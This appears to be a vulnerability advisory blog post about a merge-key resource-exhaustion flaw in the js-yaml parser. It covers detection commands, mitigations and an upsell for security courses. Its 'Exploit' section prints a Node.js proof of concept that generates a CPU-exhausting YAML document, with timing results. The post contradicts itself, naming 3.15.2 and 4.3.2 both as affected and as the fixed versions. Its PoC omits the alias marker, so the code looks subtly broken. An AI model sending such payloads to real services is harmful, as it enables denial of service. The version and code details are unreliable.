Listen to this Post
js-yaml is a popular JavaScript library used for parsing and dumping YAML (YAML Ain’t Markup Language) content. A significant vulnerability has been identified in versions 3.0.0 through 3.15.2 and 4.0.0 through 4.3.2. The core of the issue lies in the `maxTotalMergeKeys` configuration option, which is designed to limit the computational complexity of parsing YAML documents to prevent denial-of-service (DoS) attacks.
The flaw is triggered by the YAML merge key (<<). When processing a merge operation, the parser is supposed to count the number of keys being merged to enforce the `maxTotalMergeKeys` limit. However, the counting logic fails to account for empty mappings (i.e., {}). An attacker can exploit this by creating a YAML document that defines a large sequence of empty mappings and then aliases this sequence into many merge targets.
Because each empty mapping does not increment the merge counter, the `totalMergeKeys` remains unchanged, and the configured resource limit is never reached. This allows the parser to execute a massive number of merge operations without restriction. The processing complexity becomes O(N × K), where N is the number of empty mappings in the sequence and K is the number of merge targets. This results in a severe algorithmic complexity attack, where a relatively small YAML file (e.g., ~500 KB) can cause prolonged and excessive CPU consumption, leading to service degradation or complete unavailability. The vulnerability is particularly critical because merge processing is enabled by default in the affected versions.
DailyCVE Form
Platform: js-yaml
Version: 3.0.0 – 3.15.2, 4.0.0 – 4.3.2
Vulnerability: Resource Exhaustion (CWE-400)
Severity: High (CVSS 7.5)
Date: 2026-09-01
Prediction: 2026-09-02 (3.15.2, 4.3.2)
What Undercode Say:
Analytics & Detection
To identify if your application is vulnerable, audit your dependencies for the affected versions.
Check for vulnerable js-yaml versions in your project npm list js-yaml Or using yarn yarn why js-yaml
Monitor application logs and system metrics for unusual CPU spikes during YAML processing operations. A sudden increase in CPU usage correlated with YAML parsing activities could indicate an attempted exploitation.
Exploit: (Educational Purposes!)
The following Proof of Concept (PoC) demonstrates how an attacker can craft a YAML document to trigger the vulnerability:
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
// Number of empty mappings and merge targets
const n = 20000
// Craft malicious YAML
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(<code>${(performance.now() - started).toFixed(1)} ms</code>)
Observed results for different values of N:
| N | YAML size | Time |
||||
| 800 | ~13 KB | ~20 ms |
| 3200 | ~50 KB | ~180 ms |
| 20000 | ~500 KB | ~13 s |
This demonstrates that a relatively small YAML file (~500 KB) can cause over 13 seconds of CPU-intensive processing, effectively creating a denial-of-service condition.
Protection
The primary and most effective protection is to upgrade js-yaml to a patched version:
– For the 3.x branch: upgrade to version 3.15.2 or later
– For the 4.x branch: upgrade to version 4.3.2 or later
If immediate upgrading is not feasible, implement the following defensive measures:
1. Enforce strict input validation: Reject YAML documents with excessive aliasing or deeply nested merge structures.
2. Implement parsing timeouts: Set strict timeouts for all YAML parsing operations to terminate prolonged executions.
3. Limit file sizes: Restrict the maximum size of YAML documents that can be processed.
4. Configure maxTotalMergeKeys: Ensure this limit is enabled and set to a strict value appropriate for your application.
Impact
- Service Disruption: An attacker can cause high CPU consumption, leading to service degradation or complete unavailability for applications parsing malicious YAML documents.
- Supply Chain Risk: This vulnerability affects any JavaScript application that relies on js-yaml for processing user-supplied data, such as configuration files, user data imports, or API requests.
- Low Barrier to Entry: The attack requires no privileges and can be executed remotely with a relatively small payload.
- Default Exposure: Merge processing is enabled by default in affected versions, making many applications vulnerable without explicit configuration.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
